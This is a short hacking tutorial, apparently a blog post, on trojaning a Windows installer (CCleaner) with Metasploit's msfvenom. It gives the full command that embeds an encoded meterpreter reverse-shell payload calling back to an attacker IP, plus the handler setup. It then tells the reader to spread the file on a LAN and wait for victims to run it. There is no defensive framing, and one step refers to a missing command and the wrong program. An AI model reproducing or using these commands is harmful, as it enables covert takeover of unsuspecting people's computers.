Backdoor Windows Executables Using Metasploit's Plugin Msfvenom

In this tutorial, we will show you how to backdoor windows executables(exe) files using Metasploit Exploitation Framework's plugin Msfvenom(combo of msfpayload and msfencoder)

  Now follow step by step:

Attacker's IP: 192.168.0.14
Victim's IP: 192.168.0.x (within LAN network it might be any IP)


1-First Download a windows executable file. For example we will take ccleaner software installer file.


 
You can also use any setup file with .exe extension.


2- I was in root directory when i used above command. So, putty got downloaded in /root/ directory.
Now use msfvenom to backdoor this executable using the following command.

msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -i 25 -k -x /root/ccleaner.exe LHOST=192.168.0.14 LPORT=4444 > evilcleaner.exe

Above command will generate an EXE file with the name evilcleaner.exe. This is our backdoored executable file.
3- Start metasploit.

msfconsole

4- Start metasploit's reverse handler to get a reverse connection.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.14
set LPORT 4444
exploit

5- Distribute this evilClearner.exe file in your LAN/Wifi network and wait for victim. When victim will open this evilcleaner.exe , you will get a reverse shell on your metasploit's handler.

Happy Hacking :)